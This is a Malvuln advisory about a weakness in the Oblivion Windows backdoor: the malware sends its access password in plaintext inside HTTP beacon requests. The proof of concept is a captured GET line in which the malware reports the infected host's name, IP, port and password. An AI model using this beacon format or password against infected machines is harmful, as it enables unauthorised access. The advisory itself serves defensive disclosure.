Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022
Original source: https://malvuln.com/advisory/aef85cf0d521eaa6aade11f95ea07ebe.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Oblivion.01.a
Vulnerability: Insecure Transit Password Disclosure
Description: The malware listens on TCP port 7826 and makes HTTP GET requests to port 80 for "/scripts/WWPMsg.dll". The system logon credentials "Pass=beacytan" are sent plaintext via the URL query string. Third party attackers who can sniff traffic may locate the credentials which can also potentially be leaked to web server logs and or shared systems.

Family: Oblivion
Type: PE32
MD5: aef85cf0d521eaa6aade11f95ea07ebe
Vuln ID: MVID-2022-0658
Disclosure: 11/18/2022

Exploit/PoC:
tcpdump
GET /scripts/WWPMsg.dll?from=Oblivion&fromemail=Oblivion@Oblivion.com&subject=User+Online&body=Oblivion+Server+Online!!+[OS=Win]+[ComputerName=DESKTOP-2C4IQJO]+[IP=192.168.18.125]+[Port=7826]+[Pass=beacytan]+[Ver=0.1]&to=121768128 HTTP/1.0" 404 -

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